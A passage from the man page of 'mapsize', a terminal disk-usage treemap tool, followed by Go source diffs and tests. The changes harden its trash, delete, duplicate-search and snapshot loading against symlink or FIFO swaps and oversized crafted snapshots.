.TP
.B Enter
Show item information: path, logical and allocated size, type, category,
times, mode, owner, group, hard links, sparseness, and for directories file
and directory counts, share of parent and scan, largest child and errors
beneath.
.TP
.BR Space ", " \(->
Zoom into the selected directory (lists: enter it).
.TP
.BR Backspace ", " \(<-
Zoom out one level.
.TP
.B Home
Return to the scan root.
.TP
.B Esc
Clear the filter, otherwise zoom out; closes any open window.
.SS Views
.TP 18
.BR Tab ", " Shift+Tab
Next / previous view.
.TP
.BR 1 \(en 7
Jump to a view:
.BR Map ", " List ", " Types ", " Top ", " Scan ,
then \fBChanges\fR (compare mode) and \fBDups\fR (after a duplicate
search).
.TP
.B x
File types: count and size per extension. Enter filters the map by that
extension.
.TP
.B g
Top lists: largest files, largest directories by own files, oldest and
newest large files, directories with most entries, sparse files, hard-linked
files. \(<- and \(-> switch lists; Enter shows details; Space jumps to the item
in the map.
.TP
.B e
Scan information and the error list.
.TP
.B D
Find duplicate files (asks first).
.SS Actions
.TP 18
.B /
Search or filter (see \fBFILTER LANGUAGE\fR). Enter keeps the filter, Esc
clears it.
.TP
.B a
Toggle allocated / logical size.
.TP
.B c
Copy the selected path to the clipboard (OSC 52; terminal support varies).
.TP
.B o
Reveal the selected item in the desktop file manager. On a headless system
(no \fBDISPLAY\fR or \fBWAYLAND_DISPLAY\fR), show the folder in the map
instead.
.TP
.BR d ", " Delete
Move the selected item to the trash after confirmation. On a headless
Linux or BSD system, where nothing would empty the trash, delete it
permanently instead after a confirmation that says so. Disabled with
\fB\-\-read\-only\fR, for snapshots, and while scanning.
.TP
.B s
Save a snapshot.
.TP
.B r
Rescan, returning to the same directory when it is found again.
.TP
.B T
Cycle colour themes.
.TP
.BR ? ", " F1
Help.
.TP
.B Ctrl+C
Cancel a running scan; press again to quit.
.TP
.B q
Quit (in a window: close it).
.SS Mouse
Click selects a rectangle or row; double-click zooms into a directory or
shows file details; right-click shows details; the wheel zooms the map or
scrolls lists and windows. Clicking a breadcrumb or tab activates it.
Clicking outside a window closes it.
.SH DISPLAY
Directories are drawn with a border, their name on the top edge and their
size and share on the bottom edge; large directories show nested previews of
their contents. The selected rectangle has a double border and a highlighted
title, so it remains visible without colour.
.PP
A terminal has few cells, so entries too small to draw usefully are merged
into one hatched \fI"N smaller items"\fR block. Enter lists them; zooming in
or enlarging the terminal reveals them individually.
.PP
Layouts adapt to the terminal size: a side panel with a category breakdown
appears in large terminals, smaller ones get a compact layout, and below
40\(mu10 a short message is shown instead. Every resize recomputes the
layout for the new size while keeping the selection, zoom and filter.
.PP
Categories are: Image, Video, Audio, Archive, Disk image, Database, Source
code, Document, Executable, Log, Cache and Other. Directories take the colour
of the category using most of their space. In compare mode colours show
change instead: red grew, green shrank, blue new, grey unchanged.
.SH FILTER LANGUAGE
A query is one or more conditions combined with
.BR AND ,
.B OR
and
.B NOT
(also
.BR && ", " || ", " ! ),
with parentheses for grouping. Conditions written side by side are joined
with AND. Keywords and string comparisons are case-insensitive.
.PP
A bare word matches names containing it; a word with \fB*\fR, \fB?\fR or
\fB[\fR is a glob on the name. Otherwise a condition is
\fIfield operator value\fR:
.TP 12
.B Fields
.BR name ", " path ", " ext ", " type " (file, dir, symlink, other), " category ,
.BR size ", " allocated ", " age ", " modified ", " owner ", " group ,
.BR files " (entries beneath a directory), " flag
(sparse, hardlink, error, mount, incomplete, followed, broken).
.TP
.B Operators
.BR = ", " != ", " > ", " >= ", " < ", " <= ", " contains ", " matches
(regular expression; also \fB~\fR) and
.B in
with a parenthesised list: \fBext IN (iso,qcow2)\fR.
.TP
.B Sizes
.BR kB ", " MB ", " GB ", " TB
are SI (1000);
.BR KiB ", " MiB ", " GiB ", " TiB
are IEC (1024); bare
.BR K ", " M ", " G ", " T
follow the display units.
.TP
.B Ages
.BR s ", " min ", " h ", " d " (default), " w ", " mo " (30 days), " y
(365 days).
.B modified
also accepts dates such as 2024\-01\-31.
.PP
A matching directory contributes its whole contents. Examples:
.PP
.RS
.nf
ubuntu
*.iso
size > 5GB
size > 500MB AND ext IN (iso,qcow2,vmdk)
path contains cache AND NOT type = dir
age > 365d AND size > 100MiB
owner = andy OR flag = sparse
.fi
.RE
.SH SIZES
By default sizes are \fIallocated\fR (blocks actually used on disk, like
.BR du (1));
\fB\-\-apparent\fR or \fBa\fR switches to \fIlogical\fR size. Both appear in
the information window. Files whose allocated size is at least 4 KiB smaller
than their logical size are flagged sparse (this also covers filesystem
compression). On Windows allocated size is not available and logical size is
used.
.PP
Hard links: the first path seen for an inode is counted; later paths add
nothing to totals and are marked. Which path counts first depends on scan
order. Windows does not report link counts during enumeration, so hard links
are not deduplicated there.
.PP
Totals are marked incomplete whenever something could not be read
(permission denied, I/O error, files vanishing during the scan, a cancelled
scan). Every error is listed in the Scan view.
.SH DUPLICATES
Duplicate detection never relies on names or sizes alone. Files are grouped
by exact size, then three 16 KiB samples (start, middle, end) are hashed,
and remaining candidates are hashed completely with SHA-256. Only files with
identical SHA-256 digests are reported as duplicates. Hard links to the same
inode are not reported. Files that change size or cannot be read during the
search are skipped and counted.
.SH SNAPSHOTS
A snapshot stores the whole inventory in a versioned, gzip-compressed binary
format with a SHA-256 checksum; it reloads far faster than a rescan of a
large or slow filesystem. Snapshot files are treated as untrusted: corrupt
or malicious files are rejected, sizes are bounded, decompressed size is
limited to 64 times the file size, and aggregates are recomputed rather than
read. Comparison matches entries by path.
.SH FILES
.TP
.I $XDG_CONFIG_HOME/mapsize/config.json
Optional settings (default \fI~/.config/mapsize/config.json\fR on Linux,
\fI~/Library/Application Support/mapsize/config.json\fR on macOS,
\fI%AppData%\(rsmapsize\(rsconfig.json\fR on Windows). Command-line options
override it. Keys:
.BR workers ", " follow_symlinks ", " one_file_system ", " units " (iec or si), "
.BR size_mode " (allocated or logical), " theme ", " mouse ", " excludes " (list), "
.BR category_colors " and " extension_colors " (maps to \(dq#rrggbb\(dq), " refresh_hz .
.PP
.RS
.nf
{
"workers": "balanced",
"theme": "dark",
"excludes": ["/proc", "*.tmp"],
"extension_colors": {"qcow2": "#c678dd"}
}
.fi
.RE
.TP
.I ~/.local/share/Trash
Where \fBd\fR moves items on Linux (freedesktop.org trash; items on other
filesystems go to \fI.Trash\-UID\fR at that filesystem's top). macOS uses
\fI~/.Trash\fR; Windows uses the Recycle Bin.
.SH ENVIRONMENT
.TP
.B NO_COLOR
If set, use the \fBmono\fR theme (attributes and glyphs only).
.TP
.BR COLORTERM ", " TERM
Used for colour detection. On \fBTERM=linux\fR box drawing falls back to
ASCII.
.TP
.B MAPSIZE_ASCII
If set, draw with ASCII characters only.
.TP
.B MAPSIZE_DEBUG_PANIC
Developer aid: \fBui\fR or \fBscanner\fR deliberately crashes to verify that
the terminal is restored.
.SH EXIT STATUS
.TP
.B 0
Success, including a scan cancelled from the interface.
.TP
.B 1
An error occurred (for example the path does not exist, a snapshot is
invalid, or an internal error).
.TP
.B 2
Invalid command-line usage.
.SH EXAMPLES
.TP
.B mapsize /srv
Explore /srv interactively.
.TP
.B mapsize \-x /
Explore the root filesystem without crossing into other mounts.
.TP
.B mapsize \-\-read\-only \-\-color 256 /mnt/evidence
Investigate without any modifying actions, forcing 256 colours.
.TP
.B mapsize /srv \-\-no\-ui \-\-save srv\-$(date +%F).msz
Nightly snapshot from cron.
.TP
.B mapsize \-\-compare srv\-2026\-10\-01.msz srv\-2026\-10\-02.msz
See what grew overnight.
.TP
.B mapsize /home \-\-top 20 \-\-exclude \(aq*.tmp\(aq
Print the 20 largest entries under /home.
.TP
.B mapsize /data \-\-json \-\-depth 2 | jq .tree.children[0]
Machine-readable output.
.SH SECURITY
Filenames are untrusted. Control characters, escape sequences, bidirectional
overrides and invalid UTF-8 in names are displayed in escaped form (for
example \fB\(rsx1b\fR) and are never sent to the terminal; the real names are
kept for file operations. No shell is ever invoked: opening the file manager
and moving to the trash use direct program execution or native APIs.
.SH BUGS
Trash and file-manager integration have been tested on Linux only. Hard-link
deduplication, allocated sizes and symlink following are unavailable on
Windows. Keybindings are not configurable.
.PP
Report bugs to the author.
.SH AUTHOR
Andy Dixon <mapsize@dixon.cx>
.br
https://dixon.cx
.SH SEE ALSO
.BR du (1),
.BR df (1),
.BR ncdu (1),
.BR find (1)
+3 -1
View File
@@ -5,5 +5,7 @@ const (
Name = "mapsize" Name = "mapsize"
SnapshotExt = ".msz" SnapshotExt = ".msz"
SnapshotMagic = "MAPSIZE\x00" SnapshotMagic = "MAPSIZE\x00"
Version = "0.9.0-dev"
) )
// Version is stamped at release time via -ldflags -X.
var Version = "1.2.0"
+2 -1
View File
@@ -18,6 +18,7 @@ import (
"sync/atomic" "sync/atomic"
"github.com/andydixon/mapsize/internal/inventory" "github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/platform"
) )
// Group is a set of files verified to have identical content. // Group is a set of files verified to have identical content.
@@ -226,7 +227,7 @@ func (f *Finder) splitHash(ctx context.Context, g []cand, workers int) []fullGro
// open opens a candidate and checks it still has the inventoried size. // open opens a candidate and checks it still has the inventoried size.
func open(c cand) (*os.File, bool) { func open(c cand) (*os.File, bool) {
fh, err := os.Open(c.path) fh, err := platform.OpenContent(c.path)
if err != nil { if err != nil {
return nil, false return nil, false
} }
+51
View File
@@ -0,0 +1,51 @@
//go:build unix
package duplicate
import (
"context"
"os"
"path/filepath"
"syscall"
"testing"
"time"
"github.com/andydixon/mapsize/internal/scan"
)
// A candidate replaced by a FIFO (or a symlink to one) after the scan must
// be skipped, not block the search forever in open(2).
func TestFindSkipsSwappedFIFO(t *testing.T) {
root := t.TempDir()
for _, n := range []string{"a", "b", "c"} {
os.WriteFile(filepath.Join(root, n), []byte("same"), 0o644)
}
s, err := scan.Start(context.Background(), root, scan.Options{Workers: 1})
if err != nil {
t.Fatal(err)
}
<-s.Done()
os.Remove(filepath.Join(root, "b"))
if err := syscall.Mkfifo(filepath.Join(root, "b"), 0o644); err != nil {
t.Skip("mkfifo:", err)
}
fifo2 := filepath.Join(t.TempDir(), "p")
syscall.Mkfifo(fifo2, 0o644)
os.Remove(filepath.Join(root, "c"))
os.Symlink(fifo2, filepath.Join(root, "c"))
done := make(chan error, 1)
var f Finder
go func() { _, err := f.Find(context.Background(), s.Tree, Options{}); done <- err }()
select {
case err := <-done:
if err != nil {
t.Fatal(err)
}
case <-time.After(5 * time.Second):
t.Fatal("duplicate search blocked on a FIFO")
}
if p := f.Progress(); p.Skipped != 2 {
t.Fatalf("skipped=%d want 2", p.Skipped)
}
}
+35
View File
@@ -0,0 +1,35 @@
//go:build unix
package platform
import (
"errors"
"io/fs"
"os"
"path/filepath"
"syscall"
)
// Delete permanently removes path (recursively for a directory) if it still
// matches want. The check and the removal both go through an os.Root on the
// parent directory, so a symlink swapped in since the scan cannot redirect
// the removal outside it.
func Delete(path string, want Expect) error {
if err := checkAbs(path); err != nil {
return err
}
dir, base := filepath.Dir(path), filepath.Base(path)
root, err := os.OpenRoot(dir)
if err != nil {
return err
}
defer root.Close()
fi, err := root.Lstat(base)
if err != nil {
return err
}
if fi.Sys().(*syscall.Stat_t).Uid != want.UID || fi.Mode()&fs.ModeType != want.Mode&fs.ModeType {
return errors.New("item changed since the scan (owner or type differs); rescan first")
}
return root.RemoveAll(base)
}
+8
View File
@@ -0,0 +1,8 @@
//go:build !unix
package platform
import "os"
// OpenContent opens a file whose content is about to be read.
func OpenContent(path string) (*os.File, error) { return os.Open(path) }
+15
View File
@@ -0,0 +1,15 @@
//go:build unix
package platform
import (
"os"
"syscall"
)
// OpenContent opens a file whose content is about to be read. It does not
// follow a final symlink, and O_NONBLOCK keeps a FIFO swapped in since the
// scan from blocking open(2) forever; callers still check the file type.
func OpenContent(path string) (*os.File, error) {
return os.OpenFile(path, os.O_RDONLY|syscall.O_NOFOLLOW|syscall.O_NONBLOCK, 0)
}
+8
View File
@@ -2,6 +2,7 @@ package platform
import ( import (
"errors" "errors"
"io/fs"
"os" "os"
"os/exec" "os/exec"
"path/filepath" "path/filepath"
@@ -19,6 +20,13 @@ func startDetached(name string, args ...string) error {
return nil return nil
} }
// Expect is what the scan recorded for an item about to be trashed. Trash
// refuses an item whose owner or file type no longer matches.
type Expect struct {
UID uint32
Mode fs.FileMode // only the type bits are compared
}
// checkAbs guards helper invocations: an absolute path can never be parsed // checkAbs guards helper invocations: an absolute path can never be parsed
// as an option by the helper program. // as an option by the helper program.
func checkAbs(path string) error { func checkAbs(path string) error {
+13 -4
View File
@@ -21,7 +21,7 @@ func Reveal(path string) error {
// Trash moves path into ~/.Trash (same volume) or the volume's // Trash moves path into ~/.Trash (same volume) or the volume's
// .Trashes/<uid> directory. It never copies and never deletes. // .Trashes/<uid> directory. It never copies and never deletes.
func Trash(path string) error { func Trash(path string, want Expect) error {
if err := checkAbs(path); err != nil { if err := checkAbs(path); err != nil {
return err return err
} }
@@ -34,8 +34,13 @@ func Trash(path string) error {
dirs = append(dirs, filepath.Join(vol, ".Trashes", fmt.Sprint(os.Getuid()))) dirs = append(dirs, filepath.Join(vol, ".Trashes", fmt.Sprint(os.Getuid())))
} }
base := filepath.Base(path) base := filepath.Base(path)
for _, dir := range dirs { for vi, dir := range dirs {
if err := os.MkdirAll(dir, 0o700); err != nil { if err := os.MkdirAll(filepath.Dir(dir), 0o700); err != nil {
continue
}
// A volume trash is on a shared filesystem: another user could plant
// a symlink or an open directory there, so insist on a private one.
if err := ensurePrivateDir(dir, vi > 0); err != nil {
continue continue
} }
for i := 1; i < 10000; i++ { for i := 1; i < 10000; i++ {
@@ -47,7 +52,7 @@ func Trash(path string) error {
if _, err := os.Lstat(dst); err == nil { if _, err := os.Lstat(dst); err == nil {
continue continue
} }
err := os.Rename(path, dst) err := renameChecked(path, dst, want)
if errors.Is(err, syscall.EXDEV) { if errors.Is(err, syscall.EXDEV) {
break // try the next trash location break // try the next trash location
} }
@@ -70,3 +75,7 @@ func volumeOf(path string) string {
} }
return "" return ""
} }
// Headless is always false: macOS has Finder and the Trash even without
// $DISPLAY (which it does not use).
func Headless() bool { return false }
+9 -27
View File
@@ -29,7 +29,7 @@ func Reveal(path string) error {
// Trash moves path to the freedesktop.org trash: the home trash when on the // Trash moves path to the freedesktop.org trash: the home trash when on the
// same filesystem, otherwise $topdir/.Trash-$uid on the item's filesystem. // same filesystem, otherwise $topdir/.Trash-$uid on the item's filesystem.
// It never copies across filesystems and never deletes. // It never copies across filesystems and never deletes.
func Trash(path string) error { func Trash(path string, want Expect) error {
if err := checkAbs(path); err != nil { if err := checkAbs(path); err != nil {
return err return err
} }
@@ -99,7 +99,7 @@ func Trash(path string) error {
os.Remove(ip) os.Remove(ip)
return errors.Join(werr, cerr) return errors.Join(werr, cerr)
} }
if err := os.Rename(path, dst); err != nil { if err := renameChecked(path, dst, want); err != nil {
os.Remove(ip) os.Remove(ip)
return err return err
} }
@@ -108,31 +108,6 @@ func Trash(path string) error {
return errors.New("trash: too many items with the same name") return errors.New("trash: too many items with the same name")
} }
// ensurePrivateDir creates dir (mode 0700) if missing; an existing entry must
// be a real directory (not a symlink) owned by us. With strict (trash on a
// shared filesystem) it must also be inaccessible to others, as the
// freedesktop.org spec requires; home trash directories made by desktop
// environments are sometimes 0755, which is harmless there.
func ensurePrivateDir(dir string, strict bool) error {
if err := os.Mkdir(dir, 0o700); err != nil && !errors.Is(err, os.ErrExist) {
return err
}
fi, err := os.Lstat(dir)
if err != nil {
return err
}
st := fi.Sys().(*syscall.Stat_t)
switch {
case !fi.IsDir():
return errors.New("not a directory (symlink?)")
case int(st.Uid) != os.Getuid():
return errors.New("owned by another user")
case strict && fi.Mode().Perm()&0o077 != 0:
return errors.New("accessible to other users")
}
return nil
}
// mountTop returns the top directory of the filesystem containing path. // mountTop returns the top directory of the filesystem containing path.
func mountTop(path string, dev uint64) string { func mountTop(path string, dev uint64) string {
cur := filepath.Dir(path) cur := filepath.Dir(path)
@@ -148,3 +123,10 @@ func mountTop(path string, dev uint64) string {
cur = parent cur = parent
} }
} }
// Headless reports whether there is no graphical session (no X or Wayland
// display), so there is no file manager to open and no desktop trash anyone
// will empty.
func Headless() bool {
return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == ""
}
+94 -3
View File
@@ -16,7 +16,7 @@ func TestTrashFreedesktop(t *testing.T) {
if err := os.WriteFile(victim, []byte("x"), 0o644); err != nil { if err := os.WriteFile(victim, []byte("x"), 0o644); err != nil {
t.Fatal(err) t.Fatal(err)
} }
if err := Trash(victim); err != nil { if err := Trash(victim, want(t, victim)); err != nil {
t.Fatal(err) t.Fatal(err)
} }
if _, err := os.Lstat(victim); !os.IsNotExist(err) { if _, err := os.Lstat(victim); !os.IsNotExist(err) {
@@ -32,13 +32,13 @@ func TestTrashFreedesktop(t *testing.T) {
} }
// A second item with the same name gets a distinct trash name. // A second item with the same name gets a distinct trash name.
os.WriteFile(victim, []byte("y"), 0o644) os.WriteFile(victim, []byte("y"), 0o644)
if err := Trash(victim); err != nil { if err := Trash(victim, want(t, victim)); err != nil {
t.Fatal(err) t.Fatal(err)
} }
if _, err := os.Lstat(trashed + ".2"); err != nil { if _, err := os.Lstat(trashed + ".2"); err != nil {
t.Fatal("collision not handled") t.Fatal("collision not handled")
} }
if err := Trash("relative/path"); err == nil { if err := Trash("relative/path", Expect{}); err == nil {
t.Fatal("relative paths must be refused") t.Fatal("relative paths must be refused")
} }
} }
@@ -62,3 +62,94 @@ func TestEnsurePrivateDirRejectsSymlink(t *testing.T) {
t.Fatal(err) t.Fatal(err)
} }
} }
func want(t *testing.T, path string) Expect {
t.Helper()
m, err := Lstat(path)
if err != nil {
t.Fatal(err)
}
return Expect{UID: m.UID, Mode: m.Mode}
}
// A parent swapped for a symlink after the scan must not redirect the move
// to whatever the symlink points at.
func TestTrashRefusesSwappedItem(t *testing.T) {
data := t.TempDir()
t.Setenv("XDG_DATA_HOME", data)
dir := filepath.Join(data, "work")
os.Mkdir(dir, 0o755)
victim := filepath.Join(dir, "big.iso")
os.WriteFile(victim, []byte("x"), 0o644)
scanned := want(t, victim)
// Item replaced by a symlink to a file elsewhere: type differs.
other := filepath.Join(data, "precious")
os.WriteFile(other, []byte("keep"), 0o644)
os.Remove(victim)
os.Symlink(other, victim)
scannedDir := Expect{UID: scanned.UID, Mode: os.ModeDir}
if err := Trash(victim, scanned); err == nil {
t.Fatal("symlink accepted where a regular file was scanned")
}
if err := Trash(victim, scannedDir); err == nil {
t.Fatal("type mismatch accepted")
}
if _, err := os.Lstat(victim); err != nil {
t.Fatal("refused item was moved")
}
// Owner differs from the scan.
os.Remove(victim)
os.WriteFile(victim, []byte("x"), 0o644)
if err := Trash(victim, Expect{UID: scanned.UID + 1, Mode: scanned.Mode}); err == nil {
t.Fatal("owner mismatch accepted")
}
entries, _ := os.ReadDir(filepath.Join(data, "Trash", "info"))
if len(entries) != 0 {
t.Fatalf("refused trash left %d .trashinfo files", len(entries))
}
if err := Trash(victim, scanned); err != nil {
t.Fatal(err)
}
}
func TestDeletePermanently(t *testing.T) {
base := t.TempDir()
dir := filepath.Join(base, "S01")
os.MkdirAll(filepath.Join(dir, "extras"), 0o755)
os.WriteFile(filepath.Join(dir, "extras", "E01.mkv"), []byte("x"), 0o644)
// A symlink inside must be removed, not followed.
keep := filepath.Join(base, "keep")
os.WriteFile(keep, []byte("k"), 0o644)
os.Symlink(keep, filepath.Join(dir, "link"))
w := want(t, dir)
if err := Delete(dir, Expect{UID: w.UID, Mode: 0}); err == nil {
t.Fatal("type mismatch accepted")
}
if err := Delete(dir, w); err != nil {
t.Fatal(err)
}
if _, err := os.Lstat(dir); !os.IsNotExist(err) {
t.Fatal("directory still present")
}
if _, err := os.Lstat(keep); err != nil {
t.Fatal("symlink target was deleted")
}
if err := Delete("relative/path", Expect{}); err == nil {
t.Fatal("relative paths must be refused")
}
}
func TestHeadless(t *testing.T) {
t.Setenv("DISPLAY", "")
t.Setenv("WAYLAND_DISPLAY", "")
if !Headless() {
t.Fatal("no display should be headless")
}
t.Setenv("WAYLAND_DISPLAY", "wayland-0")
if Headless() {
t.Fatal("wayland session reported headless")
}
}
+12 -2
View File
@@ -2,7 +2,10 @@
package platform package platform
import "errors" import (
"errors"
"os"
)
// TrashName is the user-facing name of the trash. // TrashName is the user-facing name of the trash.
const TrashName = "trash" const TrashName = "trash"
@@ -11,4 +14,11 @@ const TrashName = "trash"
func Reveal(string) error { return errors.New("not supported on this platform") } func Reveal(string) error { return errors.New("not supported on this platform") }
// Trash is unsupported on this platform. // Trash is unsupported on this platform.
func Trash(string) error { return errors.New("trash not supported on this platform") } func Trash(string, Expect) error { return errors.New("trash not supported on this platform") }
// Headless reports whether there is no graphical session (no X or Wayland
// display), so there is no file manager to open and no desktop trash anyone
// will empty.
func Headless() bool {
return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == ""
}
+9 -2
View File
@@ -45,8 +45,9 @@ const (
) )
// Trash moves path to the Recycle Bin via SHFileOperationW with // Trash moves path to the Recycle Bin via SHFileOperationW with
// FOF_ALLOWUNDO. It never deletes permanently. // FOF_ALLOWUNDO. It never deletes permanently. want is not checked here:
func Trash(path string) error { // Windows exposes no owner or inode identity through the scan.
func Trash(path string, _ Expect) error {
if err := checkAbs(path); err != nil { if err := checkAbs(path); err != nil {
return err return err
} }
@@ -69,3 +70,9 @@ func Trash(path string) error {
} }
return nil return nil
} }
// Headless is always false: Windows always has Explorer and the Recycle Bin.
func Headless() bool { return false }
// Delete is not offered on Windows; items go to the Recycle Bin.
func Delete(string, Expect) error { return errors.New("permanent delete not supported on Windows") }
+59
View File
@@ -0,0 +1,59 @@
//go:build linux || darwin
package platform
import (
"errors"
"io/fs"
"os"
"path/filepath"
"syscall"
"golang.org/x/sys/unix"
)
// renameChecked moves path to dst if it still matches want. The parent
// directory is opened once and both the check and the rename are relative to
// that descriptor, so a parent swapped for a symlink since the scan (or
// between check and rename) cannot redirect the move to another user's file.
func renameChecked(path, dst string, want Expect) error {
dir, base := filepath.Dir(path), filepath.Base(path)
dfd, err := unix.Open(dir, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
if err != nil {
return &os.PathError{Op: "open", Path: dir, Err: err}
}
defer unix.Close(dfd)
var st unix.Stat_t
if err := unix.Fstatat(dfd, base, &st, unix.AT_SYMLINK_NOFOLLOW); err != nil {
return &os.PathError{Op: "stat", Path: path, Err: err}
}
if st.Uid != want.UID || modeFromUnix(uint32(st.Mode))&fs.ModeType != want.Mode&fs.ModeType {
return errors.New("item changed since the scan (owner or type differs); rescan first")
}
return unix.Renameat(dfd, base, unix.AT_FDCWD, dst)
}
// ensurePrivateDir creates dir (mode 0700) if missing; an existing entry must
// be a real directory (not a symlink) owned by us. With strict (trash on a
// shared filesystem) it must also be inaccessible to others, as the
// freedesktop.org spec requires; home trash directories made by desktop
// environments are sometimes 0755, which is harmless there.
func ensurePrivateDir(dir string, strict bool) error {
if err := os.Mkdir(dir, 0o700); err != nil && !errors.Is(err, os.ErrExist) {
return err
}
fi, err := os.Lstat(dir)
if err != nil {
return err
}
st := fi.Sys().(*syscall.Stat_t)
switch {
case !fi.IsDir():
return errors.New("not a directory (symlink?)")
case int(st.Uid) != os.Getuid():
return errors.New("owned by another user")
case strict && fi.Mode().Perm()&0o077 != 0:
return errors.New("accessible to other users")
}
return nil
}
+29
View File
@@ -6,6 +6,8 @@ import (
"crypto/sha256" "crypto/sha256"
"encoding/binary" "encoding/binary"
"io" "io"
"os"
"path/filepath"
"strings" "strings"
"testing" "testing"
@@ -129,3 +131,30 @@ func TestHostileMetadataSanitisedInSummary(t *testing.T) {
t.Fatalf("raw control characters in summary: %q", b.String()) t.Fatalf("raw control characters in summary: %q", b.String())
} }
} }
// Blocks of one directory plus K-1 files repeat byte for byte, so a small
// file describes millions of nodes; LoadFile must refuse before allocating.
func TestNodeAmplificationLimited(t *testing.T) {
const k, n = 1000, 1_200_001
data := craft(n, `{"root":"/r"}`, func(i int, w *writer) {
switch {
case i == 0:
node(w, 0, inventory.KindDir, "", 0)
case i == 1:
node(w, 1, inventory.KindDir, "d", 0)
case (i-1)%k == 0:
node(w, k, inventory.KindDir, "d", 0)
default:
node(w, uint64((i-1)%k), inventory.KindFile, "f", 0)
}
})
if _, err := Load(bytes.NewReader(data)); err != nil {
t.Fatalf("crafted tree is otherwise valid: %v", err)
}
p := filepath.Join(t.TempDir(), "amp.msz")
os.WriteFile(p, data, 0o644)
_, err := LoadFile(p)
if err == nil || !strings.Contains(err.Error(), "node count") {
t.Fatalf("%d nodes from a %d-byte file accepted: %v", n, len(data), err)
}
}
+17 -4
View File
@@ -333,12 +333,22 @@ func (l *limitedReader) Read(p []byte) (int, error) {
// (real snapshots compress ~6×), with a 64 MiB floor for tiny files. // (real snapshots compress ~6×), with a 64 MiB floor for tiny files.
func bodyLimit(fileSize int64) int64 { return max(64<<20, fileSize*64) } func bodyLimit(fileSize int64) int64 { return max(64<<20, fileSize*64) }
// nodeLimit caps the node count for a file of fileSize bytes. Real
// snapshots spend ~15 compressed bytes per node; a crafted one describes a
// node in a fraction of a byte, so without this a 1 MB file can demand
// gigabytes of memory while staying within bodyLimit.
func nodeLimit(fileSize int64) uint64 { return uint64(max(1<<20, fileSize)) }
// Load reads and validates a snapshot, allowing up to DefaultMaxBody bytes // Load reads and validates a snapshot, allowing up to DefaultMaxBody bytes
// of decompressed data. // of decompressed data.
func Load(in io.Reader) (*inventory.Tree, error) { return LoadLimit(in, DefaultMaxBody) } func Load(in io.Reader) (*inventory.Tree, error) { return LoadLimit(in, DefaultMaxBody) }
// LoadLimit is Load with an explicit decompressed-size limit. // LoadLimit is Load with an explicit decompressed-size limit.
func LoadLimit(in io.Reader, maxBody int64) (*inventory.Tree, error) { func LoadLimit(in io.Reader, maxBody int64) (*inventory.Tree, error) {
return load(in, maxBody, MaxNodes)
}
func load(in io.Reader, maxBody int64, maxNodes uint64) (*inventory.Tree, error) {
br := bufio.NewReaderSize(in, 1<<20) br := bufio.NewReaderSize(in, 1<<20)
hdr := make([]byte, len(brand.SnapshotMagic)+4) hdr := make([]byte, len(brand.SnapshotMagic)+4)
if _, err := io.ReadFull(br, hdr); err != nil { if _, err := io.ReadFull(br, hdr); err != nil {
@@ -389,8 +399,11 @@ func LoadLimit(in io.Reader, maxBody int64) (*inventory.Tree, error) {
return nil, r.err return nil, r.err
} }
extIndex := t.ExtIndexer() extIndex := t.ExtIndexer()
nNodes := r.uvarint(MaxNodes, "node count") nNodes := r.uvarint(maxNodes, "node count")
depth := []uint16{0} // per node, for the depth limit; parents precede children depth := []uint16{0} // per node, for the depth limit; parents precede children
if r.err != nil {
return nil, r.err
}
if nNodes == 0 { if nNodes == 0 {
return nil, errors.New("snapshot: no root node") return nil, errors.New("snapshot: no root node")
} }
@@ -507,9 +520,9 @@ func LoadFile(path string) (*inventory.Tree, error) {
return nil, err return nil, err
} }
defer f.Close() defer f.Close()
limit := int64(DefaultMaxBody) limit, nodes := int64(DefaultMaxBody), uint64(MaxNodes)
if fi, err := f.Stat(); err == nil { if fi, err := f.Stat(); err == nil {
limit = bodyLimit(fi.Size()) limit, nodes = bodyLimit(fi.Size()), nodeLimit(fi.Size())
} }
return LoadLimit(f, limit) return load(f, limit, nodes)
} }
+30 -11
View File
@@ -3,6 +3,7 @@ package tui
import ( import (
"context" "context"
"fmt" "fmt"
"io/fs"
"time" "time"
tea "charm.land/bubbletea/v2" tea "charm.land/bubbletea/v2"
@@ -20,10 +21,13 @@ type trashDoneMsg struct {
tree *inventory.Tree // the tree id belongs to; results for a replaced tree are dropped tree *inventory.Tree // the tree id belongs to; results for a replaced tree are dropped
id inventory.NodeID id inventory.NodeID
err error err error
done string // "Moved to trash" or "Deleted"
} }
// requestTrash asks for confirmation before moving the selection to the // requestTrash asks for confirmation before moving the selection to the
// trash. Permanent deletion is deliberately not offered. // trash. On a headless system (no desktop, so nobody empties the trash and
// the space is never freed) it deletes permanently instead, after a
// confirmation that says so.
func (m *Model) requestTrash() tea.Cmd { func (m *Model) requestTrash() tea.Cmd {
switch { switch {
case m.opts.ReadOnly: case m.opts.ReadOnly:
@@ -31,7 +35,7 @@ func (m *Model) requestTrash() tea.Cmd {
case m.snapshot: case m.snapshot:
return m.warn("Snapshot view: nothing to delete on the live filesystem") return m.warn("Snapshot view: nothing to delete on the live filesystem")
case m.scanning: case m.scanning:
return m.warn("Wait for the scan to finish before trashing items") return m.warn("Wait for the scan to finish before deleting items")
} }
id := m.selectedNode() id := m.selectedNode()
if id == inventory.NoNode || id == m.tree.Root() { if id == inventory.NoNode || id == m.tree.Root() {
@@ -39,19 +43,34 @@ func (m *Model) requestTrash() tea.Cmd {
} }
n := m.tree.Node(id) n := m.tree.Node(id)
path := m.tree.Path(id) path := m.tree.Path(id)
want := platform.Expect{UID: n.UID, Mode: fs.FileMode(n.Mode)}
what := "file" what := "file"
if n.IsDir() { if n.IsDir() {
what = fmt.Sprintf("directory with %s files", textutil.Count(int64(n.Files))) what = fmt.Sprintf("directory with %s files", textutil.Count(int64(n.Files)))
} }
body := []string{textutil.Sanitize(path), "", fmt.Sprintf("%s · %s", what, textutil.Size(n.Total(m.sizeMode))), ""}
if platform.Headless() {
m.openModal(&confirmModal{
ttl: "Delete permanently? Are you sure?",
body: append(body, "This is a headless system (no X or Wayland display), so there is no trash:",
"it will be permanently deleted and cannot be recovered."),
yes: "delete permanently",
onYes: func(m *Model) tea.Cmd {
t := m.tree
return func() tea.Msg { return trashDoneMsg{t, id, platform.Delete(path, want), "Deleted"} }
},
})
return nil
}
m.openModal(&confirmModal{ m.openModal(&confirmModal{
ttl: "Move to trash?", ttl: "Move to trash?",
